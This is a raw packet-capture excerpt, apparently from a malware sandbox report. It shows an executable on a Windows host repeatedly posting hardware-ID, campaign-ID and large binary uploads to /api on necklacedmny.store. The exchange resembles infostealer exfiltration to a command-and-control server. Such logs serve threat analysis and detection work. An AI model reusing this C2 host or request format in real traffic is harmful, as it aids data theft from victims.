RvvqMGtOVCimtAiPPkMQb06yYkzH9tSyzObU7FUvIKonH2oATmvA3HKQ2L+ahpRsz6KzHMMklPN8p1TNxRuRDvbLmoBK7uDYRlB5er/ClqxuwrYeQnUks73mxAwh6tW/UosatI/qRNyygSiuquY0vN8iQmzDlARzndaULOWLkU6Wu9rQav9g2EZQeXq/wpbN78LC+BE09aMI1GQ8VZvgOsd/i+SKHoDZJlCYHnp25OzfghKMMyTkIw3W1BxEy9F
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 34 52 72 2b 6b 53 73 5a 6c 57 4d 2f 72 6f 47 56 46 77 76 4d 75 4c 73 77 36 54 30 4d 39 77 58 56 43 79 31 61 2b 48 65 46 36 76 4b 30 61 72 2b 31 41 78 43 30 53 6a 4b 76 71 4b 55 48 64 76 58 6c 6a 38 54 64 48 51 43 48 43 61 41 33 52 45 4b 74 56 36 32 54 32 2f 30 69 30 39 6b 33 42 4a 51 65 42 2b 61 56 68 53 63 2f 39 4a 79 6a 4a 50 6b 31 49 4f 63 5a 68 54 4d 4e 66 73 78 58 70 61 4c 2b 31 42 65 61 71 44 63 30 39 51 4e 65 72 6b 32 56 4e 39 50 34 33 59 39 78 7a 58 51 77 77 77 79 63 56 6a 6c 2b 67 47 4f 52 73 74 71 6f 4f 72 65 56 4d 79 53 55 41 6a 4f 75 68 59 6b 6e 44 2b 69 77 70 79 6a 52 57 52 44 50 64 5a 30 48 4b 48 76 78 56 36 33 44 32 2f 30 69 57 35 30 62 47 4a 51 32 61 71 37 73 6e 58 34 58 36 4c 57 4f 62 66 55 78 48 50 4d 6c 73 54 73 31 51 75 52 2f 6a 5a 37 Data Ascii: 4Rr+kSsZlWM/roGVFwvMuLsw6T0M9wXVCy1a+HeF6vK0ar+1AxC0SjKvqKUHdvXlj8TdHQCHCaA3REKtV62T2/0i09k3BJQeB+aVhSc/9JyjJPk1IOcZhTMNfsxXpaL+1BeaqDc09QNerk2VN9P43Y9xzXQwwwycVjl+gGORstqoOreVMySUAjOuhYknD+iwpyjRWRDPdZ0HKHvxV63D2/0iW50bGJQ2aq7snX4X6LWObfUxHPMlsTs1QuR/jZ7
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 38 6b 7a 48 4c 67 7a 4e 36 71 6c 35 51 59 57 7a 59 53 57 44 5a 52 51 43 64 38 74 32 44 5a 59 4f 34 45 36 35 4f 2b 48 33 57 72 6d 71 56 49 6f 7a 51 4e 65 35 36 69 6c 55 68 61 56 68 5a 4d 41 76 56 6b 6f 30 32 57 51 4b 38 47 43 53 48 75 42 72 75 71 59 50 35 71 6f 4e 78 57 56 59 74 71 75 6e 65 31 53 4b 37 44 63 75 30 7a 6f 49 52 43 62 43 61 77 32 41 48 76 34 52 35 32 53 7a 6f 42 6a 70 39 6c 33 42 4b 52 62 44 37 37 59 70 43 49 58 73 4b 69 7a 52 4d 30 4d 44 4a 74 6c 71 58 63 31 62 74 56 6e 6b 65 62 75 72 53 4f 69 6b 57 4d 45 70 42 6f 4c 2b 36 33 68 51 78 75 73 6d 62 38 73 73 53 55 42 33 38 43 6b 4e 31 68 37 71 56 64 6c 72 75 4b 6b 50 73 50 55 41 36 69 34 4d 6a 4f 65 6c 62 67 61 4c 76 53 64 6a 6d 32 34 4b 44 44 50 65 4a 78 57 65 44 4f 6c 41 76 7a 2f 6d 39 52 66 Data Ascii: 8kzHLgzN6ql5QYWzYSWDZRQCd8t2DZYO4E65O+H3WrmqVIozQNe56ilUhaVhZMAvVko02WQK8GCSHuBruqYP5qoNxWVYtqune1SK7Dcu0zoIRCbCaw2AHv4R52SzoBjp9l3BKRbD77YpCIXsKizRM0MDJtlqXc1btVnkeburSOikWMEpBoL+63hQxusmb8ssSUB38CkN1h7qVdlruKkPsPUA6i4MjOelbgaLvSdjm24KDDPeJxWeDOlAvz/m9Rf
2024-10-30 03:34:18 UTC	1369	IN	Data Raw: 6a 4e 41 31 37 6a 71 4b 56 53 46 70 57 46 6b 7a 54 42 46 54 7a 6e 4d 64 56 2f 49 58 61 51 57 71 31 61 49 67 67 57 72 34 55 50 4e 47 7a 36 75 34 62 52 6b 53 63 4c 44 48 78 54 53 4f 6c 51 4f 45 63 78 78 54 6f 34 51 38 67 32 73 4d 50 61 47 41 72 62 70 51 73 31 6c 54 73 2f 76 35 44 45 47 34 50 41 73 4a 73 30 36 42 6d 30 39 33 32 70 43 79 52 37 38 56 65 41 6f 37 75 63 4a 72 50 52 41 78 53 4a 4d 69 50 47 6a 4b 51 69 46 38 32 46 37 67 7a 78 4f 58 44 72 41 59 41 48 49 55 4c 78 56 38 79 61 76 35 78 37 6d 76 42 36 45 5a 52 4c 50 73 2b 51 75 53 4d 6a 38 49 69 33 41 4c 31 5a 4b 4e 4e 6c 6b 43 76 42 67 6c 78 6a 68 62 62 69 67 4e 70 6a 46 52 39 6f 6f 44 34 69 70 68 47 35 51 78 73 4d 66 46 4e 49 36 56 41 34 52 7a 48 46 4f 6a 68 44 79 44 61 77 77 39 6f 59 43 74 75 6c 43 Data Ascii: jNA17jqKVSFpWFkzTBFTznMdV/IXaQWq1aIggWr4UPNGz6u4bRkScLDHxTSOlQOEcxxTo4Q8g2sMPaGArbpQs1lTs/v5DEG4PAsJs06Bm0932pCyR78VeAo7ucJrPRAxSJMiPGjKQiF82F7gzxOXDrAYAHIULxV8yav5x7mvB6EZRLPs+QuSMj8Ii3AL1ZKNNlkCvBglxjhbbigNpjFR9ooD4iphG5QxsMfFNI6VA4RzHFOjhDyDaww9oYCtulC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49718	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:19 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-10-30 03:34:19 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:34:20 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ptan42j0tebuh0lgi3cmr012na; expires=Sat, 22 Feb 2025 21:20:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v%2FDZgXhiRmjdM10RmpmrRAffHXraNQBHtyxy2YU7MrsVa1L4ECA4tAxt0k0LisfUTHJeF9Zp7BmHx00eBQjmjiracN4%2BUL%2BB4bC4DkIuN%2FDHgguzxkPhEGAWbc2AluDplgiCxjc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85951bc59e7cb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1397&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2067094&cwnd=32&unsent_bytes=0&cid=c148b3409d16b0ab&ts=1284&x=0"
2024-10-30 03:34:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:34:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49731	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-10-30 03:34:21 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:34:21 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m0msm9mbc8ne7nm3drui8fbahu; expires=Sat, 22 Feb 2025 21:21:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FG8ThKQQWMgh7rN2KEeQL9sPTPbhmY%2FCVUxol4kFWXFHG2BZcsL6PsltXPfhQgJR7Smt07Xan%2BK0i3Pay1dx6CEAbwdkTxWptdH%2FhO1OSPbbqzxWDU8hc3Dkd1VrAE0ZCFejtcU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8595e4c573ac0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1009&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2719248&cwnd=241&unsent_bytes=0&cid=db2241f5e1d66b0c&ts=786&x=0"
2024-10-30 03:34:21 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:34:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49742	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 03:34:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:34:22 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 03:34:23 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ugrc4qul416j324dc3njtvq4eq; expires=Sat, 22 Feb 2025 21:21:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MN6UrVr8255E3Ugke67m7KbrjWn0r9FqNmkPfVLycZISTBLIfTTAi74CB9qlvXyu3%2FZ8iU225LtSZvEPbFftRkOAjKJ3Q5g3h96XUXTQ8ZxKlJ3XDqjILkVPiodbyTbvAEB26RI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85968afc76b43-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=987&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21370&delivery_rate=2750237&cwnd=242&unsent_bytes=0&cid=8da25c87ab2f091d&ts=912&x=0"
2024-10-30 03:34:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:34:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49753	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:24 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: necklacedmny.store
2024-10-30 03:34:24 UTC	1235	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:34:24 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ql93hk97onfs0l76s089d184np; expires=Sat, 22 Feb 2025 21:21:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BIOK0NyrPSzXj0MzHcgPoCSoYqmpJwGqrcyTU18TxxExACHKM%2FsABrrqGLyD%2FmzNGshn28Sg39qg2QAIagb9%2Fpqd32FTGL3gjGiD0XRR0V3JacM0SVJrGWZu%2FLYRoL0rI5Xux4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da85973ad432d4a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1278&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2154&delivery_rate=2269592&cwnd=251&unsent_bytes=0&cid=96ad679151bd9501&ts=482&x=0"
2024-10-30 03:34:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 03:34:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49761	188.114.97.3	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:26 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568585 Host: necklacedmny.store
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 31 30 32 37 42 44 30 45 36 45 36 36 43 42 33 33 39 34 30 36 43 41 36 35 39 44 43 45 38 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"9A1027BD0E6E66CB339406CA659DCE85--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: f7 9f f3 56 55 65 27 77 63 9e 67 d9 b8 83 60 59 aa c9 fb a4 c2 c4 5f 2a 98 00 70 75 48 7f 02 90 18 0a 9f 8d ed 51 91 cb 97 9e f4 41 42 d7 4c e3 cc cc 12 c0 85 26 22 a4 72 05 fd 5b 47 63 f2 0c a1 17 0f f6 6f e4 8a d6 4b 3d 89 71 d3 ac 89 0e 49 36 bf 51 1e 7b dd 74 d0 13 72 d1 98 cf fd e6 94 8f 1e f7 11 cb 4c d8 e8 80 e2 da 18 2a 5c 47 a9 7b c7 9b 07 c3 60 3f d8 c7 6f 66 77 46 43 79 63 b4 20 5a 5f d6 26 22 dd b9 f3 5c 1c 9b f6 b6 2f 6c e4 7c 8d 30 ab 7a d3 06 b1 26 e0 bb 84 c7 08 69 62 fd e3 15 f4 1e a3 e7 56 49 16 09 fc 9b a2 84 36 03 51 dd 7f 5b fa e8 8a de b5 cd 95 d8 75 25 61 4b af ab b8 08 95 e7 4b d4 98 c0 81 78 df 04 a1 0b 36 39 c5 a0 c8 5a d8 22 f4 2c db 65 41 70 9f 4b cb 72 67 bd 78 9e da b4 a1 e0 f0 5f 17 19 42 c2 c2 12 cc cc c3 0c 85 16 03 ea b8 Data Ascii: VUe'wcg`Y_puHQABL&"r[GcoK=qI6Q{trL\G{`?ofwFCyc Z_&"\/l\|0z&ibVI6Q[u%aKKx69Z",eApKrgx_B
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: dc fd 7d 81 da 56 94 03 bf 3d 4d 9f 3a f7 07 45 84 0f b6 4a 3d 1f 6d ff 10 f7 5d 34 45 a9 64 ff 91 a8 ef f2 39 df a8 9f 23 eb de a6 14 96 72 a7 ef 50 c2 9c 95 a3 a5 71 03 a1 51 da 54 97 23 3f 38 b9 3a fc ae dd 72 be d8 1f 07 5d cd 1a 7a 97 87 a4 27 e7 d1 a8 d3 20 18 f6 d3 fb a9 92 55 a9 17 8b 5f 2c 7c b9 29 b8 41 4b da 6c e7 59 f5 a4 df 40 0f b9 dd 75 51 c3 5f 12 8c d3 5c 2b 3c 35 5c 63 b4 27 8f 99 f4 51 15 7d e6 1b a6 aa 85 98 5b 69 88 7f d7 74 91 6e ec f3 43 88 fe c1 81 ff d4 4a a8 de 59 c9 27 a9 90 00 ee e6 53 c4 f1 a2 52 98 b2 2c c3 64 42 52 22 e5 48 d0 f9 6d cf 44 eb 52 b5 3c d2 a2 62 9e 25 ff 5b 4e ef 96 f6 70 e7 ab aa 88 5c 3d 5c 98 84 69 90 ce f1 c5 2e f7 21 c9 50 34 9d b0 b5 1e 73 3b 58 dc 33 50 40 c2 35 41 ee 4c a8 b3 d5 11 bc 28 24 70 cf db 3d Data Ascii: }V=M:EJ=m]4Ed9#rPqQT#?8:r]z' U_,\|)AKlY@uQ_\+<5\c'Q}[itnCJY'SR,dBR"HmDR<b%[Np\=\i.!P4s;X3P@5AL($p=
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 26 09 4a 78 d8 e5 d0 37 97 55 99 a7 c7 9c 7d cc 92 6f ac 6f 7f ed 2f b6 55 1c d9 2a 98 42 cf e8 f4 76 ba e4 df 0f a8 de f3 e1 f3 e9 fe 9f 7e ab 4e e7 f5 c5 3b c3 66 64 53 bc ec a4 1f d0 0b c7 6d 2e d7 3c 8b cf f6 b4 6b 1b 31 bb 9c ab 11 30 60 46 53 09 54 72 9b 8e e2 26 b9 cd c8 c8 77 13 9d aa 0c e3 63 0e ba 0c 38 e5 3d e0 f4 96 b8 80 b0 33 5b 21 a1 96 83 c1 d3 0e e5 2d 03 7b a4 c3 6d 7b 16 ef 4b 7b 8e 78 cd 72 bc 07 96 df 06 bb 98 11 3b 85 d3 b8 56 7b d3 ab 45 cd ca 39 ef 0d 95 db fa c5 d6 6e 0f 7e e5 14 3a bc a2 f9 8f da c9 fe 61 d7 0e 0f cf d8 04 e8 6a bc 93 4e e1 3c 05 0b bb 8e c7 0d 08 f9 26 6c e6 9a 0d cc c0 dd 27 f1 28 95 16 98 11 d0 ff 5a 3a 49 c7 0a 62 e9 f1 9e 8d 1b f7 5d e5 78 96 06 9c d1 d4 3b 82 0e 4d 96 79 72 27 9d 5e e2 18 82 bb bf f1 ab 4b Data Ascii: &Jx7U}oo/U*Bv~N;fdSm.<k10`FSTr&wc8=3[!-{m{K{xr;V{E9n~:ajN<&l'(Z:Ib]x;Myr'^K
2024-10-30 03:34:26 UTC	15331	OUT	Data Raw: 66 05 b5 70 1a 0e 01 61 55 d1 41 51 f3 06 97 aa e1 70 5f 1e 54 77 f5 fa 68 ef ad 6b 4d 89 85 db 08 65 44 bc c5 05 6e 91 88 b5 0a e1 37 df a7 cd be a4 2b 4f e5 ab 43 c5 c5 89 ab 5b b8 96 96 cd b9 6e 9e 2e eb 44 f2 60 86 db c2 a9 aa c6 f3 b0 6d ad 41 cb 98 96 bb da 1d 6c 88 ef b2 d3 8a 5c 6e 89 4c 52 02 02 90 9c 99 20 ac cb c5 bb 61 6b 6d 35 4b 88 bf 73 c8 c2 76 f2 85 1b 12 a7 cb a6 b5 dd f8 49 48 c6 c2 de 92 5c 2f 56 ae ed 70 6a d8 7f 38 e3 72 ff 94 d1 a4 e1 19 33 32 cd 88 9b bd 1f a5 af bd e1 cb 87 10 b4 54 a1 ec 6f d5 98 98 43 7c f6 8e 32 b5 bc a7 a5 62 a5 0e 63 7c 05 1a 51 bc 52 a4 15 22 eb d3 43 2b f6 f9 37 45 e3 7c 93 ab 1e f1 73 2b 6f b6 1f b7 f3 b1 4b 3b 65 7c df 2d 2c ca 80 22 9b 21 d1 14 5b bf 23 d7 73 0c 25 4f e5 86 7d f9 88 f5 4e 3d 99 07 22 74 Data Ascii: fpaUAQp_TwhkMeDn7+OC[n.D`mAl\nLR akm5KsvIH\/Vpj8r32ToC\|2bc\|QR"C+7E\|s+oK;e\|-,"![#s%O}N="t
